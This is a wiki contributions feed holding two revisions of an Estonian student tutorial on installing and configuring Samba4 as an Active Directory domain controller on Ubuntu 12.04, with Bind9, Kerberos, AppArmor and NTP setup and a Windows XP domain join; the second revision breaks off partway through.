<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
	<id>https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ulihten</id>
	<title>ICO wiki - User contributions [en]</title>
	<link rel="self" type="application/atom+xml" href="https://wiki.itcollege.ee/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Ulihten"/>
	<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php/Special:Contributions/Ulihten"/>
	<updated>2026-06-11T14:02:10Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.45.1</generator>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60917</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60917"/>
		<updated>2013-01-13T08:40:32Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Sissejuhatus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Käesolev artikkel on juhend Samba 4 paigaldamise ja seadistamise kohta.&lt;br /&gt;
Samba4 on failiserver, mis on siin artikli näites paigaldatud Ubuntu 12.04 Server LTS peale.&lt;br /&gt;
Kasutab uut Virtual File System (VFS) mis toetab Acess Control List -i (ACL). Domeeni Kontrolleri lahendus sambas sisaldab LDAP serverit (LDB) ja Kerberose võtmehaldust Kerberos Key Distribution Center (KDC). Lisaks veel sisemine Domain Name System (DNS) protokoll.&lt;br /&gt;
Zentyal on aga failiserveri vabavaraline serveri lahendus, mille kaudu on võimalik hallata kõiki võrguteenuseid ühelt platvormilt - võrgu turvalisus, infrastruktuur, ressursside jagamine.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
* Ubuntu versioon 12.04&lt;br /&gt;
* IP aadress 192.168.56.200&lt;br /&gt;
* eelnevalt paigaldatud Bind9 domeeniga piix.ee&lt;br /&gt;
* elementaarsed teadmised Ubuntu käsurea kasutamisest&lt;br /&gt;
&lt;br /&gt;
=Eelised=&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
jne.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
&lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logime sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendame tarkvara nimekirja:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installeerime Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 installi käigus on sage viga, et Samba 4 package mängib enda staatuseks &amp;quot;half installed. See tuleb käsitsi muuta:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
nano /var/lib/dpkg/status&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Leia konfifailist Samba4 rida:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...ning muuda see rida selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok installed &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrollime, et rohkem &amp;quot;poolikuid&amp;quot; faile pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis kustutame või muudame backup&#039;iks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
eeldusel, et smb.conf faili pole olemas. Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks &amp;quot;samba.piix.ee&amp;quot; kõrval tuleb --domain argumendiks kirjutada &amp;quot;samba.piix; millegi muu korral ei hakka Kerberos soovitult tööle.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/usr/share/samba/setup/provision --realm=samba.piix.ee --domain=samba --adminpass=Student1 --server-role=&#039;dc&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemus on järgnev:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
Setting up sam.ldb rootDSE marking as synchronized&lt;br /&gt;
Fixing provision GUIDs&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
A phpLDAPadmin configuration file suitable for administering the Samba 4 LDAP server has been created in /var/lib/samba/private/phpldapadmin-config.php .&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ubuntu&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
DOMAIN SID:            S-1-5-21-1025771091-2011791338-2641903939&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Test==&lt;br /&gt;
Käivitame Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
initctl start samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Laeme Samba-client&#039;i:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4-clients&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
eemaldame samba.pid faili, mis takistab sambat käivitamast:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
rm /var/run/samba.pid&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning kontrollime (väljund kuva share&#039;s olemad elemendid):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
root@ubuntu:~# smbclient -L localhost -U%&lt;br /&gt;
&lt;br /&gt;
        Sharename       Type       Comment&lt;br /&gt;
        ---------       ----       -------&lt;br /&gt;
        netlogon        Disk&lt;br /&gt;
        sysvol          Disk&lt;br /&gt;
        share           Disk       yldine jagatud ketas&lt;br /&gt;
        profiles        Disk       opilaste jagatud ketas&lt;br /&gt;
        IPC$            IPC        IPC Service&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Samba4 seonduvate skriptide muutmine ja loomine==&lt;br /&gt;
Kuna Samba4 ei kontrolli startimisel Samba kataloogi olemasolu /var/run kaustas, siis lisame selle võimaluse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/init.d/samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisame koodile juurde SAMBAPID kontrollimise read enne esimest &amp;quot;else&amp;quot;t:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
    if [ ! -d $(dirname $SAMBAPID) ]; &lt;br /&gt;
        then mkdir -p $(dirname $SAMBAPID) &lt;br /&gt;
    fi&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisaks tuleb luua fail /usr/local/sbin/samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /usr/local/sbin/samba&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Ning selle sisuks tuleb:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
#!/bin/sh&lt;br /&gt;
LD_PRELOAD=/usr/lib/libdcerpc.0.0.1 /usr/sbin/$(basename $0)&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tekitame eelnevalt loodud failidele lingid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_dnsupdate}&lt;br /&gt;
ln -s /usr/local/sbin/samba{,_spnupdate}&lt;br /&gt;
&amp;lt;/source&amp;gt;erandid&lt;br /&gt;
&lt;br /&gt;
Taaskäivitane Samba:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==DNS seadistamine==&lt;br /&gt;
Muudame Bind9 konfiguratsiooni:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/bind/named.conf.local&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kaasame Samba4 raames loodud konfiratsioonifaili Bind9 seadetesse:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
include &amp;quot;/var/lib/samba/private/named.conf&amp;quot;;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Apparmor&#039;i probleem==&lt;br /&gt;
&lt;br /&gt;
Kuna Apparmor kaitseb Samba4 konfiguratsiooni Bind9 eest, siis lisame Apparmorisse erandid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/apparmor.d/usr.sbin.named&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Lisada lõppu ennem viimast &amp;quot;}&amp;quot; märki järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/var/lib/samba/private/** rkw,&lt;br /&gt;
/var/lib/samba/private/dns/** rkw,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/bind9/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/gensec/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/ldb/modules/ldb/** rm,&lt;br /&gt;
/usr/lib/i386-linux-gnu/samba/ldb/** rm,&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
´&lt;br /&gt;
Laeme uuesti Apparmori profiilid ja teeme Bind9&#039;le ka restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/etc/init.d/apparmor reload&lt;br /&gt;
/etc/init.d/bind9 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Nimeserveri seadistamine==&lt;br /&gt;
Kuna Samba4 kasutab Bind9 DNS lahendust, siis oleks mõistlik lisada oma /etc/resolv.conf&#039;i oma nimeserver kui seda juba seal pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/resolv.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Meie nimeserveri aadress on 192.168.56.200 (kirje tuleb lisada teistest ip-aadressidest ettepoole, et süsteem pöörduks just Bind9 poole):&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
name server 192.168.56.200&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Kerberose paigaldamine/seadistamine==&lt;br /&gt;
&lt;br /&gt;
Tõstame Samba4 poolt loodud spetsiaalse Kerberos5 konfiguratsioonifaili kausta /etc/:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
cp /var/lib/samba/private/krb5.conf /etc/&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kuna Kerberos on vaikimisi olemas Samba4 installimisega, siis oleks vaja selle töökorda ja seadistusi kontrollida: &amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame krb5-user paketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install krb5-user&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Paigaldamise käigus küsib ta realm&#039;i. Meie näite puhul on selleks &amp;quot;samba.piix.ee&amp;quot;.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Muudame Kerberose konfifaili /etc/krb5.conf selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[libdefaults]&lt;br /&gt;
        default_realm = samba.piix.ee&lt;br /&gt;
        dns_lookup_realm = true&lt;br /&gt;
        dns_lookup_kdc = true&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Network Time Protocol==&lt;br /&gt;
Kuna Samba annab domeeni liikmetele ka kellaajad kätte, siis soovime, et ka serveril endal oleks õige kellaaeg ja seda saame teha järgnevalt:&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Paigaldame NTP&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install ntp&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Seadistame ära muutes /etc/ntp.conf faili, lisades serverite nimekirja esimeseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
server 2.ee.pool.ntp.org&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Teeme esimese aja pärimise ja paneme teenuse tööle:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service ntp stop&lt;br /&gt;
ntpdate -B 2.ee.pool.ntp.org&lt;br /&gt;
service ntp start&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kontrollime, kas töötab:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
ntpq -p&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==&#039;Kontroll&#039;==&lt;br /&gt;
&lt;br /&gt;
Kontrollime, Samba4 töökorda:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
root@ubuntu:~# smbclient -L samba.piix.ee -U%&lt;br /&gt;
&lt;br /&gt;
        Sharename       Type       Comment&lt;br /&gt;
        ---------       ----       -------&lt;br /&gt;
        netlogon        Disk&lt;br /&gt;
        sysvol          Disk&lt;br /&gt;
        share           Disk       yldine jagatud ketas&lt;br /&gt;
        profiles        Disk       opilaste jagatud ketas&lt;br /&gt;
        IPC$            IPC        IPC Service&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
kuvati väljajagatud failide/kausta/printerite nimekiri.&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Autentimise kontrollimiseks käivitame käsu:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
smbclient //samba.piix.ee/netlogon -UAdministrator%&#039;Student1&#039; -c &#039;ls&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Väljundiks kuvatakse netlogon kausta sisu.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrollime, kas Kerberos server töötab. Meie näite puhul on admin parooliks &amp;quot;Student1&amp;quot;:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
root@ubuntu:~# kinit Administrator@SAMBA.PIIX.EE&lt;br /&gt;
Password for Administrator@SAMBA.PIIX.EE:&lt;br /&gt;
Warning: Your password will expire in 41 days on Sun Feb 24 00:36:33 2013&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrollime, kas Kerberos annab välja pileti ehk Ticketi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
root@ubuntu:~# klist&lt;br /&gt;
Ticket cache: FILE:/tmp/krb5cc_0&lt;br /&gt;
Default principal: Administrator@SAMBA.PIIX.EE&lt;br /&gt;
&lt;br /&gt;
Valid starting    Expires           Service principal&lt;br /&gt;
13/01/2013 09:26  13/01/2013 19:26  krbtgt/SAMBA.PIIX.EE@SAMBA.PIIX.EE&lt;br /&gt;
        renew until 14/01/2013 09:26&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutajate ja gruppide ning jagatavate kaustade loomine=&lt;br /&gt;
Loome kaustad &amp;quot;share&amp;quot; ja &amp;quot;opilane&amp;quot;: &lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mkdir -p /var/data/share&lt;br /&gt;
mkdir -p /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Loome ka vastavad kasutajad ja grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
adduser share&lt;br /&gt;
adduser opilane&lt;br /&gt;
addgroup jagatud&lt;br /&gt;
addgroup opilane&lt;br /&gt;
adduser share jagatud&lt;br /&gt;
adduser opilane opilane&lt;br /&gt;
samba-tool user add share&lt;br /&gt;
samba-tool user add opilane&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Anname kaustadele ka vastavad omanikud ning grupid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
chown share:jagatud /var/data/share&lt;br /&gt;
chown opilane:opilane /var/data/profiles&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Loodud kaustade väljajagamine ja õiguste määramised=&lt;br /&gt;
Avame Samba4 konfiguratsioonifaili smb.conf:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
nano /etc/samba/smb.conf&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Lisame lõppu järgmised read:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
[share]&lt;br /&gt;
        path = /var/data/share&lt;br /&gt;
        comment = yldine jagatud ketas&lt;br /&gt;
        read only = No&lt;br /&gt;
&lt;br /&gt;
[profiles]&lt;br /&gt;
        path = /var/data/profiles&lt;br /&gt;
        comment = opilaste jagatud ketas&lt;br /&gt;
        read only = no&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Et kaustad välja jagada, teeme Samba4&#039;le restardi:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
service samba4 restart&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
Kuna Samba4&#039;s enam ei saa smb.conf&#039;i faili kaudu kaustadele õigusi lisada. Active Directory kaudu läbi Windowsi masina saab Administraatori kontoga teha &amp;quot;profiles&amp;quot; kaustade alla igale kasutajale oma kausta ehk &amp;quot;roaming profile&amp;quot;-i.&amp;lt;br&amp;gt;&lt;br /&gt;
Tuleb meeles pidada, et roaming profile&#039;s tuleb domeenis sisse logida sama Windows-versiooni masinaga. Erinevate Windowsite alt sisse logides samas domeenis genereeritakse Profiles kausta topelt kasutaja kaust nign see pole esimese loodud kasutaja kaustaga ühenduses.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi keskkonnas Active Directory haldamiseks tuleb kasutada Remote Server Administration Tool&#039;i, mis tuleb microsoft&#039;i kodulehelt allatõmmata.&amp;lt;br&amp;gt;&lt;br /&gt;
Kuna meil on hetkel Windows XP kasutusel, siis meil on vaja Administration Tool Packi - http://www.microsoft.com/en-us/download/details.aspx?id=16770 .&amp;lt;br&amp;gt;&lt;br /&gt;
See järel liita masin loodud domeeniga: &lt;br /&gt;
Esmalt määrata oma võrguühenduse seadetes DNS serveriks 192.168.56.220.&lt;br /&gt;
&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
Parem klõps My Computeril -&amp;gt; Properties.&amp;lt;br&amp;gt;&lt;br /&gt;
Uues aknas ülevalt &amp;quot;Computer name&amp;quot; ja nupp &amp;quot;Change&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Määrata domeeniks &amp;quot;samba.piix.ee&amp;quot; või see, mis sai domeeni loomisel pantud.&amp;lt;br&amp;gt;&lt;br /&gt;
Edukal leidmisel küsib kasutajanime ja parooli. Tuleb panna kasutajaks Administrator ja parooliks Student1.&amp;lt;br&amp;gt;&lt;br /&gt;
Kui aksepteerib, siis tervitab sind domeeni liitmise puhul ja palub restarti ning peale seda saab juba domeeni sisselogida Sambas loodud kasutajatega.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
Windowsi klientmasinas, kuhu on installeeritud vastav Administraton Tool Pack Active Directory haldamiseks domeeniserveris, tuleb avada Start -&amp;gt; Run -&amp;gt; dsa.msc &amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step1.png|thumb|none|427px|dsa.msc]]&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avanenud aknas minna vastavate kasutajate juurde, avada parema klõpsuga Properties ja Profile sektsiooni ning lisada Profile Path: //192.168.56.200/profiles/%USERNAME%&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step2.png|thumb|none|551px|Profile path]]&lt;br /&gt;
&lt;br /&gt;
ning muudatused ära salvestada. Seejärel tuleks käivitada Start -&amp;gt; Run&#039;is käsk &amp;quot;gpudate /force&amp;quot;, mis sunnib uuendama Group Policy&#039;t.&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Step3.png|thumb|none|427px|gpupdate]] &amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Peale seda vastava kasutajaga uuesti sisse sisselogides tehakse Profiles kausta vastava kasutajanimega kaust.&lt;br /&gt;
Näide serverist vaadatuna:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
 # cd /var/data/profiles&lt;br /&gt;
 # ls -l&lt;br /&gt;
 drwxr-xr-x 12 3000012 users   4096 Aug  2 15:35 test&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Kasutatud kirjandus=&lt;br /&gt;
* https://wiki.itcollege.ee/index.php/Samba4_installeerimine&lt;br /&gt;
* http://www.matrix44.net/cms/notes/gnulinux/samba-4-ad-domain-with-ubuntu-12-04&lt;br /&gt;
* http://www.golinuxhub.com/2012/08/create-roaming-profiles-in-samba4.html&lt;br /&gt;
* http://www.pool.ntp.org/zone/ee&lt;/div&gt;</summary>
		<author><name>Ulihten</name></author>
	</entry>
	<entry>
		<id>https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60898</id>
		<title>Zentyal SAMBA4</title>
		<link rel="alternate" type="text/html" href="https://wiki.itcollege.ee/index.php?title=Zentyal_SAMBA4&amp;diff=60898"/>
		<updated>2013-01-13T07:00:19Z</updated>

		<summary type="html">&lt;p&gt;Ulihten: /* Kasutatud kirjandus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Autorid: Urmo Lihten A31 ja Kersti Lang A31 (2012 sügissemester)&lt;br /&gt;
&lt;br /&gt;
=Sissejuhatus=&lt;br /&gt;
Käesolev artikkel on juhend Samba 4 paigaldamise ja seadistamise kohta.&lt;br /&gt;
&lt;br /&gt;
=Eeldused=&lt;br /&gt;
* Ubuntu versioon 12.04&lt;br /&gt;
* IP aadress 192.168.56.200&lt;br /&gt;
* eelnevalt paigaldatud Bind9 domeeniga piix.ee&lt;br /&gt;
* elementaarsed teadmised Ubuntu käsurea kasutamisest&lt;br /&gt;
&lt;br /&gt;
=Eelised=&lt;br /&gt;
* &#039;Active Directory&#039; sisselogimise ja administreerimise protokollide tugi Windows XP, Windows 7 ja Mac OS X klientidele.&lt;br /&gt;
* NTFS tugi&lt;br /&gt;
* Sisemine LDAP server AD omadustega.&lt;br /&gt;
* Sisemine Kerberos server.&lt;br /&gt;
* AD sidumine DNS-ga.&lt;br /&gt;
* Python tugi&lt;br /&gt;
jne.&lt;br /&gt;
&lt;br /&gt;
=Paigaldamine= &lt;br /&gt;
&lt;br /&gt;
==Samba4 installeerimine==&lt;br /&gt;
Logime sisse administraatorina:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
sudo -i&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Uuendame tarkvara nimekirja:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get update&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Installeerime Samba4 jaoks vajalikud paketid:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
apt-get install samba4&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Samba 4 installi käigus on sage viga, et Samba 4 package mängib enda staatuseks &amp;quot;half installed. See tuleb käsitsi muuta:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
nano /var/lib/dpkg/status&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Leia konfifailist Samba4 rida:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
...ning muuda see rida selliseks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
Package: samba4&lt;br /&gt;
Status: install ok installed &lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kontrollime, et rohkem &amp;quot;poolikuid&amp;quot; faile pole:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
less /var/lib/dpkg/status | grep half-configured&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Juhul kui eksisteerib vana Samba konfiguratsiooni fail, siis kustutame või muudame backup&#039;iks:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
mv /etc/samba/smb.conf{,.old}&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Bind9 konfiguratsiooni faili loomine== &lt;br /&gt;
eeldusel, et smb.conf faili pole olemas. Samuti tuleb jälgida järgnevas käsus, et --realm juures märgitud argumendiks &amp;quot;samba.piix.ee&amp;quot; kõrval tuleb --domain argumendiks kirjutada &amp;quot;samba.piix; millegi muu korral ei hakka Kerberos soovitult tööle.&amp;lt;br&amp;gt;&lt;br /&gt;
--adminpass ehk administraatori parool peab olema vähemalt ühe suure tähega ja ühe numbriga ning vähemalt 7 tähemärki pikk.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
/usr/share/samba/setup/provision --realm=samba.piix.ee --domain=samba --adminpass=Student1 --server-role=&#039;dc&#039;&lt;br /&gt;
&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Tulemus on järgnev:&lt;br /&gt;
&amp;lt;source lang=bash&amp;gt;&lt;br /&gt;
See /var/lib/samba/private/named.conf for an example configuration include file for BIND&lt;br /&gt;
and /var/lib/samba/private/named.txt for further documentation required for secure DNS updates&lt;br /&gt;
Setting up sam.ldb rootDSE marking as synchronized&lt;br /&gt;
Fixing provision GUIDs&lt;br /&gt;
A Kerberos configuration suitable for Samba 4 has been generated at /var/lib/samba/private/krb5.conf&lt;br /&gt;
A phpLDAPadmin configuration file suitable for administering the Samba 4 LDAP server has been created in /var/lib/samba/private/phpldapadmin-config.php .&lt;br /&gt;
Once the above files are installed, your Samba4 server will be ready to use&lt;br /&gt;
Server Role:           domain controller&lt;br /&gt;
Hostname:              ubuntu&lt;br /&gt;
NetBIOS Domain:        SAMBA&lt;br /&gt;
DNS Domain:            samba.piix.ee&lt;br /&gt;
